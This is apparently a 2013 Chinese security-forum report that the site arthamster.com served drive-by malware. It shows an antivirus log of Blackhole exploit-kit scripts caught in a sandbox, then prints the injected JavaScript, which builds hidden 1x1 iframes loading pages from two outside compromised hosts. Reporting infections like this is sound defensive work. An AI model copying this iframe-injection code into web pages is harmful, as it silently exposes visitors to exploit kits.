http://www.arthamster.com/【挂马BY哀酱】

显示全部楼层 · 发表于 2013-4-25 15:40:35

本帖最后由哀酱俏佳人于 2013-4-25 17:08 编辑

2013/4/25 15:39:40 已删除 l\AA C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\29AWDAJK\SpryMenuBar[1].js JS/Exploit-Blacole.eu (特洛伊)
2013/4/25 15:39:40 已删除 l\AA C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\29AWDAJK\SpryTabbedPanels[1].js JS/Exploit-Blacole.eu (特洛伊)
2013/4/25 15:39:40 已删除 l\AA C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Z5AZN4WY\main[1].js JS/Exploit-Blacole.eu (特洛伊)
2013/4/25 15:39:42 已删除 l\AA C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\P18EO2V5\editor[1].js JS/Blacole-Redirect.z (特洛伊)
2013/4/25 15:39:43 已删除 l\AA C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\29AWDAJK\arthamster_com[1].htm\00003a92.js JS/Exploit-Blacole.le (特洛伊)
2013/4/25 15:39:43 已删除 l\AA C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\29AWDAJK\arthamster_com[1].htm\000059f7.js JS/Exploit-Blacole.le (特洛伊)

显示全部楼层 · 发表于 2013-4-25 17:08:05

(function (){
  var n = document.createElement('iframe');
  n.src = 'http://globalventureconsortium.co.uk/_content/cnt.php';
  n.style.position = 'absolute';
  n.style.border = '0';
  n.style.height = '1px';
  n.style.width = '1px';
  n.style.left = '1px';
  n.style.top = '1px';
  if (!document.getElementById('n')){
document.write('<div id=\'n\'></div>');
document.getElementById('n').appendChild(n);
  }
}
)();

(function (){
  var raox = document.createElement('iframe');
  raox.src = 'http://alexandria-pubs.co.uk/jobManager/esd.php';
  raox.style.position = 'absolute';
  raox.style.border = '0';
  raox.style.height = '1px';
  raox.style.width = '1px';
  raox.style.left = '1px';
  raox.style.top = '1px';
  if (!document.getElementById('raox')){
document.write('<div id=\'raox\'></div>');
document.getElementById('raox').appendChild(raox);
  }
}
)();

(function (){
  var uhd = document.createElement('iframe');
  uhd.src = 'http://globalventureconsortium.co.uk/_content/cnt.php';
  uhd.style.position = 'absolute';
  uhd.style.border = '0';
  uhd.style.height = '1px';
  uhd.style.width = '1px';
  uhd.style.left = '1px';
  uhd.style.top = '1px';
  if (!document.getElementById('uhd')){
document.write('<div id=\'uhd\'></div>');
document.getElementById('uhd').appendChild(uhd);
  }
}
)();

[已鉴定] http://www.arthamster.com/【挂马BY哀酱】